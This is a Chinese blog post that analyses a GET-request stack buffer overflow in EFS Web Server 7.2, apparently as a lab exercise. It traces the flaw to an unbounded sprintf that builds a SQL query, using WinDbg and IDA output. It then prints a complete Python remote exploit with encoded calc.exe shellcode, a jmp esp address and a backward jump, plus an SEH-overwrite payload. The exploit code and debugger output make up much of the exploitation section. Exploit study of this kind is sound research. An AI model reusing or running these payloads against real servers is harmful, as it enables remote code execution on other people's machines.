• EFS Web Server 7.2 GET请求缓冲区溢出漏洞分析与利用


    简介

    EFS Web Server是一个可以通过web端管理服务器文件的软件,发送GET请求长度过长会触发缓冲区溢出漏洞
    分析来源:https://www.exploit-db.com/exploits/39008/

    实验环境

    WinXP sp3 中文版
    EFS Web Server7.2
    immunity debugger
    windbg
    IDA
    mona

    漏洞分析

    由于作者使用的覆盖SEH程序的地址在ImageLoad.dll中,没ASLR,所以利用比较稳定,打开就弹出计算器

    这里写图片描述

    我们将payload该成全是A吧,buff = "A"*4500
    windbg附加后运行,发送我们的4500个A

    0:005> g
    (39c.ebc): Access violation - code c0000005 (first chance)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=41414141 ebx=00000001 ecx=ffffffff edx=02055fd4 esi=02055fac edi=02055fd4
    eip=61c277f6 esp=02055f28 ebp=02055f40 iopl=0         nv up ei pl nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
    sqlite3!sqlite3_errcode+0x8e:
    61c277f6 81784c97a629a0  cmp     dword ptr [eax+4Ch],0A029A697h ds:0023:4141418d=????????

    我们看到发生了一个应用异常,可以看到eax的值为0x41414141,那么eax的值我们是可以控制的咯,那具体是不知可以覆盖SEH,跟着这里引发异常,导致可以执行我们的shellcode呢

    那我们看看eax的值来源于哪里呢,ida打开sqlite3.dll,定位到如下函数

    signed int __usercall sqlite3SafetyCheckOk@<eax>(int a1@<eax>)
    {
      signed int v1; // ebx@2
    
      if ( a1 )
      {
        v1 = 1;
        if ( *(_DWORD *)(a1 + 0x4C) != 0xA029A697 ) // 这里就是异常触发的地方
        {
          LOBYTE(v1) = 0;
          if ( sqlite3SafetyCheckSickOrOk() )
            sqlite3_log(21, "API call with %s database connection pointer", "unopened");
        }
      }
    .....
    }

    看到这里只知道eax来源于上层函数
    我们看看堆栈调用

    0:005> kv
    ChildEBP RetAddr  Args to Child              
    WARNING: Stack unwind information not available. Following frames may be wrong.
    02055f40 61c6286c 000011b8 00001194 0154249c sqlite3!sqlite3_errcode+0x8e
    02055f80 004968f4 00000001 00000000 02055fac sqlite3!sqlite3_declare_vtab+0x3282
    02057624 00000000 00000000 0205758c 020575a0 fsws+0x968f4

    根据第一个返回地址61c6286c我们定位到_sqlite3LockAndPrepare函数
    这里还是没看到eax的来源

    .text:61C6284E _sqlite3LockAndPrepare proc near        ; CODE XREF: _sqlite3_step+C3p
    .text:61C6284E                                         ; _sqlite3Prepare16+C0p ...
    .text:61C6284E
    .text:61C6284E var_20          = dword ptr -20h
    .text:61C6284E var_1C          = dword ptr -1Ch
    .text:61C6284E arg_0           = dword ptr  8
    .text:61C6284E arg_4           = dword ptr  0Ch
    .text:61C6284E arg_8           = dword ptr  10h
    .text:61C6284E arg_C           = dword ptr  14h
    .text:61C6284E
    .text:61C6284E                 push    ebp
    .text:61C6284F                 mov     ebp, esp
    .text:61C62851                 push    edi
    .text:61C62852                 push    esi
    .text:61C62853                 push    ebx
    .text:61C62854                 sub     esp, 2Ch
    .text:61C62857                 mov     ebx, eax
    .text:61C62859                 mov     edi, edx
    .text:61C6285B                 mov     [ebp+var_1C], ecx
    .text:61C6285E                 mov     esi, [ebp+arg_8]
    .text:61C62861                 mov     dword ptr [esi], 0
    .text:61C62867                 call    _sqlite3SafetyCheckOk

    那我们还是看fsws.exe的004968f4

    .text:004968D0 sub_4968D0      proc near               ; CODE XREF: sub_4971A0+EFp
    .text:004968D0                                         ; sub_497440+29p ...
    .text:004968D0
    .text:004968D0 var_4           = dword ptr -4
    .text:004968D0 arg_0           = dword ptr  4
    .text:004968D0 arg_4           = dword ptr  8
    .text:004968D0
    .text:004968D0                 push    ecx
    .text:004968D1                 mov     eax, [esp+4+arg_4]
    .text:004968D5                 push    esi
    .text:004968D6                 test    eax, eax
    .text:004968D8                 mov     [esp+8+var_4], 0
    .text:004968E0                 push    0
    .text:004968E2                 jz      short loc_496914
    .text:004968E4                 lea     edx, [esp+0Ch+arg_4]
    .text:004968E8                 push    edx
    .text:004968E9                 push    0FFFFFFFFh
    .text:004968EB                 push    eax
    .text:004968EC                 mov     eax, [ecx]      ; eax来源于这里的ecx的引用
    .text:004968EE                 push    eax
    .text:004968EF                 call    sqlite3_prepare_v2

    我们在sub_4968D0函数开头下断
    第三次断下来就看到ecx指向我们的41414141

    0:005> g
    Breakpoint 0 hit
    eax=02055fd4 ebx=00001101 ecx=02057058 edx=0205718b esi=02057058 edi=0154249c
    eip=004968d0 esp=02055fa4 ebp=02057624 iopl=0         nv up ei pl nz ac po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
    fsws+0x968d0:
    004968d0 51              push    ecx
    0:005> dd ecx
    02057058  41414141 41414141 41414141 41414141
    02057068  41414141 41414141 41414141 41414141
    02057078  41414141 41414141 41414141 41414141
    02057088  41414141 41414141 41414141 41414141
    02057098  41414141 41414141 41414141 41414141
    020570a8  41414141 41414141 41414141 41414141
    020570b8  41414141 41414141 41414141 41414141
    020570c8  41414141 41414141 41414141 41414141

    那这个0x41414141是什么时候复制到栈上的呢
    我们对02057058下一个写入断点吧
    在这里暂停了下来

    0:005> g
    Breakpoint 1 hit
    eax=00000041 ebx=00000132 ecx=02055f74 edx=02057058 esi=015434fe edi=02055f48
    eip=00500df0 esp=02055cd0 ebp=02055cd0 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
    fsws+0x100df0:
    00500df0 ff01            inc     dword ptr [ecx]      ds:0023:02055f74=02057058

    我们用ida看看这个地址,分析多了,看到这个write_char,就会联想上层调用了sprintf

    .text:00500DDE ; int __cdecl write_char(int, FILE *, int)
    .text:00500DDE _write_char     proc near               ; CODE XREF: sub_500640+1D2p
    .text:00500DDE                                         ; sub_500640+1EBp ...
    .text:00500DDE
    .text:00500DDE arg_0           = dword ptr  8
    .text:00500DDE arg_4           = dword ptr  0Ch
    .text:00500DDE arg_8           = dword ptr  10h
    .text:00500DDE
    .text:00500DDE                 push    ebp
    .text:00500DDF                 mov     ebp, esp
    .text:00500DE1                 mov     ecx, [ebp+arg_4]
    .text:00500DE4                 dec     dword ptr [ecx+4]
    .text:00500DE7                 js      short loc_500DF7
    .text:00500DE9                 mov     edx, [ecx]
    .text:00500DEB                 mov     al, byte ptr [ebp+arg_0]
    .text:00500DEE                 mov     [edx], al
    .text:00500DF0                 inc     dword ptr [ecx]

    那我们看看堆栈信息

    0:005> kv
    ChildEBP RetAddr  Args to Child              
    WARNING: Stack unwind information not available. Following frames may be wrong.
    02055cd0 00500e69 00000041 02055f74 02055f48 fsws+0x100df0
    02055f5c 004f9698 02055f74 005a2859 02055fb0 fsws+0x100e69
    02055f94 00497753 02055fd4 005a283c 013746c0 fsws+0xf9698
    02057624 00000000 00000000 0205758c 020575a0 fsws+0x97753

    确实004f9698在sprintf函数内

    那我们继续看下一个返回地址

    .text:00497745                 push    edi
    .text:00497746                 push    eax
    .text:00497747                 push    ecx
    .text:00497748                 push    offset aSelectFromSWhe ; "select * from %s where %s='%s'"
    .text:0049774D                 push    edx             ; char *
    .text:0049774E                 call    _sprintf

    我们看看最后拼接的语句:bp 00497745
    第一次断下来,我们执行到sprintf函数,看看栈上的参数

    0:005> dd esp
    02055f9c  02055fd4 005a283c 013746c0 01374670
    02055fac  0154249c ffffffff 02057228 00001107
    02055fbc  013746c0 01374670 00000000 00000000
    02055fcc  00000000 01375900 656c6573 2a207463
    02055fdc  6f726620 7173206d 6261746c 6c20656c
    02055fec  74696d69 00003120 00000000 00000000
    02055ffc  00000000 00000000 00000000 00000000
    0205600c  00000000 00000000 00000000 00000000
    0:005> dc 02055fd4  //格式化第一个参数即,目的地址
    02055fd4  656c6573 2a207463 6f726620 7173206d  select * from sq
    02055fe4  6261746c 6c20656c 74696d69 00003120  ltable limit 1..
    02055ff4  00000000 00000000 00000000 00000000  ................
    02056004  00000000 00000000 00000000 00000000  ................
    02056014  00000000 00000000 00000000 00000000  ................
    02056024  00000000 00000000 00000000 00000000  ................
    02056034  00000000 00000000 00000000 00000000  ................
    02056044  00000000 00000000 00000000 00000000  ................
    0:005> dc 0154249c  //sprintf最后一个参数
    0154249c  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
    015424ac  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
    015424bc  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
    015424cc  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
    015424dc  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
    015424ec  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
    015424fc  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
    0154250c  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA

    这么长的畸形字符串复制到栈上,使用sprintf格式化前有进行加成,这就造成栈溢出了
    看看确实拼接成sql语句了

    0:005> dc 02055fd4 
    02055fd4  656c6573 2a207463 6f726620 7173206d  select * from sq
    02055fe4  6261746c 7720656c 65726568 6d616e20  ltable where nam
    02055ff4  41273d65 41414141 41414141 41414141  e='AAAAAAAAAAAAA
    02056004  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
    02056014  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
    02056024  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
    02056034  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
    02056044  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA

    最后拿去给给sqlite3.dll处理的时候造成异常
    具体路径如下,sprintf执行完下一条语句是调用sub_4968D0函数
    sub_4968D0->sqlite3_prepare_v2->sqlite3LockAndPrepare->sqlite3SafetyCheckOk(在这函数里面异常)

    那么0154249c上的畸形字符串哪里来,来源于sub_52DF03函数的memcpy函数的复制

    漏洞利用

    试试覆盖返回地址

    作者使用的是覆盖SEH的方法,那是不是只能覆盖SEH呢?(是不是没执行到ret指令程序就崩溃掉了呢)
    我们看看返回地址有多远
    char v15; // [sp+20h] [bp-100Ch]@3
    我们要溢出的buf距离ebp都㓟0x100c,即4108个字节

    当然函数这里没有生成栈帧
    那我们看看触发异常获取栈上02057058的值

    >>> hex(0x02057058- 0x02055fd4)
    '0x1084'

    那是可以覆盖返回地址的,我们尝试用4150个A
    !mona pattern_create 4150

    0:005> g
    ......
    (c7c.738): Access violation(c7c.738): Access violation - code c0000005 (first chance)
     - code c0000005 (first chance)
    ......
    eax=00000000 ebx=00001007 ecx=34664633 edx=005aae28 esi=02057228 edi=ffffffff
    eip=38664637 esp=02056ff0 ebp=02057624 iopl=0         nv up ei pl nz ac po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010212
    eax=00000000 ebx=00001007 ecx=34664633 edx=005aae28 esi=02057228 edi=ffffffff
    eip=38664637 esp=02056ff0 ebp=02057624 iopl=0         nv up ei pl nz ac po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010212
    38664637 ??              ???

    计算一下
    !mona pattern_offset 0x38664637
    地址是4073(为什么比v15距离ebp的4180字节要小呢,因为前面还有sql语句的长度啊,O(∩_∩)O哈哈~)
    但是下面的payload没起作用,服务器也没崩,调试也正常返回了
    buff = "A" * 4073 + jmp_esp + "x90" * 20 + shellcode
    那为什么之前eip会是0x38664637
    跟踪一下看看,确实会retn到0x38664637
    是不是我们的payload有什么问题呢
    通过调试进一步排查,是触发了异常,也是一开始我们所看到的异常,
    我们向前回溯看看这个eax的值来源于02057058,值是391c5a09

    0:005> g
    Breakpoint 2 hit
    eax=02055fd4 ebx=00001101 ecx=02057058 edx=02055fac esi=02057058 edi=0154247c
    eip=004968ec esp=02055f8c ebp=02057624 iopl=0         nv up ei pl nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
    fsws+0x968ec:
    004968ec 8b01            mov     eax,dword ptr [ecx]  ds:0023:02057058=391c5a09

    我们再看看我们的shellcode,从倒数第二个字节起向前数4个字节,刚好是0x391c5a09,那说明是我们的shellcode过长,覆盖到了上一函数栈帧的数据,导致异常的发生

    shellcode = (
    "xd9xcbxbexb9x23x67x31xd9x74x24xf4x5ax29xc9"
    "xb1x13x31x72x19x83xc2x04x03x72x15x5bxd6x56"
    "xe3xc9x71xfax62x81xe2x75x82x0bxb3xe1xc0xd9"
    "x0bx61xa0x11xe7x03x41x84x7cxdbxd2xa8x9ax97"
    "xbax68x10xfbx5bxe8xadx70x7bx28xb3x86x08x64"
    "xacx52x0ex8dxddx2dx3cx3cxa0xfcxbcx82x23xa8"
    "xd7x94x6ex23xd9xe3x05xd4x05xf2x1bxe9x09x5a"
    "x1cx39xbd"
    )

    那怎么解决?
    1. 使用短一点的shellcode,这样无疑对我们的攻击有很大的限制
    2. 由于前面我为了保险使用了长的nop,由于是retn 0xC,12个x90就行了,这样我们的shellcode应该也可以起作用

    对于第二点我发现过短了
    buff = "A" * 4073 + jmp_esp + "x90" * 12 + shellcode
    调试发现没有复制0154249c的0x41414141
    而且也不是where name,应该后面的数据影响了

    0:005> dc 020560f0 
    020560f0  656c6573 2a207463 6f726620 7173206d  select * from sq
    02056100  6261746c 7720656c 65726568 65737520  ltable where use
    02056110  3d646972 00002727 00000000 00000000  rid=''

    在后面加3个x90就会异常

    最后排查测试,这样是可以执行jmp esp的
    buff = "A" * 4073 + jmp_esp
    那我们在后面搞个先前跳转不就行了?

    最终exp:

    # Usage: ./exploit.py ip port
    
    import socket
    import sys
    
    host = str(sys.argv[1])
    port = int(sys.argv[2])
    
    a = socket.socket()
    
    print "Connecting to: " + host + ":" + str(port)
    a.connect((host,port))
    
    # calc.exe
    # Bad Characters: x20 x2f x5c
    shellcode = (
    "xd9xcbxbexb9x23x67x31xd9x74x24xf4x5ax29xc9"
    "xb1x13x31x72x19x83xc2x04x03x72x15x5bxd6x56"
    "xe3xc9x71xfax62x81xe2x75x82x0bxb3xe1xc0xd9"
    "x0bx61xa0x11xe7x03x41x84x7cxdbxd2xa8x9ax97"
    "xbax68x10xfbx5bxe8xadx70x7bx28xb3x86x08x64"
    "xacx52x0ex8dxddx2dx3cx3cxa0xfcxbcx82x23xa8"
    "xd7x94x6ex23xd9xe3x05xd4x05xf2x1bxe9x09x5a"
    "x1cx39xbd"
    )
    
    jmp_esp = "x8bx1cxa0x71" #0x71A01C8B jmp esp -> from wshtcpip.dll
    
    buff = shellcode + "x90" * (4073-len(shellcode)) + jmp_esp + "x90" * 12 + "xE9x02xf0xffxff"
    print len(shellcode)
    # GET
    a.send("GET " + buff + " HTTP/1.0
    
    
    
    ")
    
    a.close()
    
    print "Done..."
    

    当然你也可以将shellcode改为弹窗的(注可能有些shellcode不能执行,有些位置的某些字符可能影响程序的执行流程或者sql查询的结果)
    下面看看我们弹窗效果
    这里写图片描述

    那使用覆盖SEH是不是没遇到这么多麻烦呢?

    覆盖SEH

    首先定位SEH

    0:005> !exchain
    02056fd4: 46356646
    Invalid exception stack at 34664633
    Address=0BADF00D Message= - Pattern 3Ff4 (0x34664633) found in Metasploit pattern  at position 4061

    可以看到位置为4061,跟作者的exp写的是一样的,但这里是NEXT SEH的位置而已哦

    我们先看看作者的思路

    0:005> g
    (c98.48c): Access violation - code c0000005 (first chance)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=41909090 ebx=00000001 ecx=ffffffff edx=02055fd4 esi=02055fac edi=02055fd4
    eip=61c277f6 esp=02055f28 ebp=02055f40 iopl=0         nv up ei pl nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
    sqlite3!sqlite3_errcode+0x8e:
    61c277f6 81784c97a629a0  cmp     dword ptr [eax+4Ch],0A029A697h ds:0023:419090dc=????????
    0:005> !exchain
    ImageLoad!SaveTIF+b68 (10019798)
    Invalid exception stack at 90900aeb
    0:005> bp 10019798
    0:005> g
    Breakpoint 0 hit
    eax=00000000 ebx=00000000 ecx=10019798 edx=7c9232bc esi=00000000 edi=00000000
    eip=10019798 esp=02055b58 ebp=02055b78 iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
    ImageLoad!SaveTIF+0xb68:
    10019798 5e              pop     esi
    0:005> dd esp
    02055b58  7c9232a8 02055c40 02056fd4 02055c5c
    02055b68  02055c14 02056fd4 7c9232bc 02056fd4
    02055b78  02055c28 7c92327a 02055c40 02056fd4
    02055b88  02055c5c 02055c14 10019798 02055fd4
    02055b98  02055c40 02056fd4 7c94a8c3 02055c40
    02055ba8  02056fd4 02055c5c 02055c14 10019798
    02055bb8  02055fd4 02055c40 02055fac 003fbb58
    02055bc8  003fbb60 02055bb0 018a0b10 018a0a10

    我们看到暂停下来后,确实到了我们伪造的SEH程序处理的位置
    其实windbg比较难看
    我们用od吧^_^
    下面是在系统异常处理的时候获取我们伪造的SEH程序的位置
    这里写图片描述

    我们看看执行到10019798时,栈的情况,发现esp+8的位置就是我们之前NEXT SEH的位置

    这里写图片描述

    不信看图

    这里写图片描述

    最后在Next SEH的指令跳过了垃圾代码,从而执行shellcode

    这里写图片描述

    最后还要说明的是最后为啥还要加那么长的字符

    就是下面这一串,作者为什么加

    buff+= "x90"*7
    buff+= "A"*(4500-4061-4-4-20-len(shellcode)-20)"

    如果不加,程序的执行流程有点变化有点问题,从而触发不了异常

    那么是不是一定要加到4500那么长呢,肯定不是啊

    我在最后加50个A也行啊,10个A也行,甚至4个A也行

    3个就不行了(但是3个的时候又不是那个问题,调试了一下发现程序的执行的流程,拼接的sql语句没问题,问题是最后拼接3个A的话,竟然没导致异常,从而不能触发SEH,而是执行到了函数最后的ret指令,返回到了0x90909090处了,导致最后不能正确执行shellcode)
    那怎么让后面接3个A也行呢,就是将payload中shellcode的前9-12个0x90替换为jmp esp的地址即可,不信看看下面是不是这样

    0:005> p
    eax=00000000 ebx=00001007 ecx=90900aeb edx=005aae28 esi=02057228 edi=ffffffff
    eip=00497832 esp=02056fe0 ebp=02057624 iopl=0         nv up ei pl nz ac po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
    fsws+0x97832:
    00497832 c20c00          ret     0Ch
    0:005> dd esp
    02056fe0  90909090 90909090 90909090 d9909090
    02056ff0  23b9becb 74d93167 295af424 3113b1c9
    02057000  c2831972 15720304 e356d65b 62fa71c9
    02057010  8275e281 c0e1b30b a0610bd9 4103e711
    02057020  d2db7c84 ba979aa8 5bfb1068 7b70ade8
    02057030  0886b328 0e52ac64 3c2ddd8d bcfca03c
    02057040  d7a82382 d9236e94 05d405e3 09e91bf2
    02057050  bd391c5a 27414141 01841000 00000000

    但是为什么这样?,这是一个需要进一步探索的问题
    下面这个是最后加50个A的payload

    # Junk
    buff = "A"*4061
    # Next SEH
    buff+= "xebx0Ax90x90"
    # pop pop ret
    buff+= "x98x97x01x10"
    buff+= "x90"*19
    # calc.exe
    # Bad Characters: x20 x2f x5c
    shellcode = (
    "xd9xcbxbexb9x23x67x31xd9x74x24xf4x5ax29xc9"
    ......
    ......
    )
    buff+= shellcode
    buff+= "A" * 50

    漏洞修复

    使用安全的snprintf,或者对字符串长度进行限制

    漏洞总结

    由于使用sprintf格式化sql语句查询的时候对长度没有严格限制,导致缓冲区溢出,漏洞利用无论是覆盖返回地址还是覆盖SEH都有一些坑

  • 相关阅读:
    查询不同类别中最大的一条
    thinkphp模版调用函数方法
    mysql中explain的用法
    简易PHP多文件上传源码
    JS实现:鼠标悬停图片,图片由彩色变为灰色
    PHP分页基础教程之简单分页原理
    MYSQL建立索引需要注意以下几点!!!
    php_扑克类
    详细介绍Linux shell脚本基础学习(一)
    详细介绍Linux shell脚本基础学习(二)
  • 原文地址:https://www.cnblogs.com/cnsec/p/13286513.html
Copyright © 2020-2023  润新知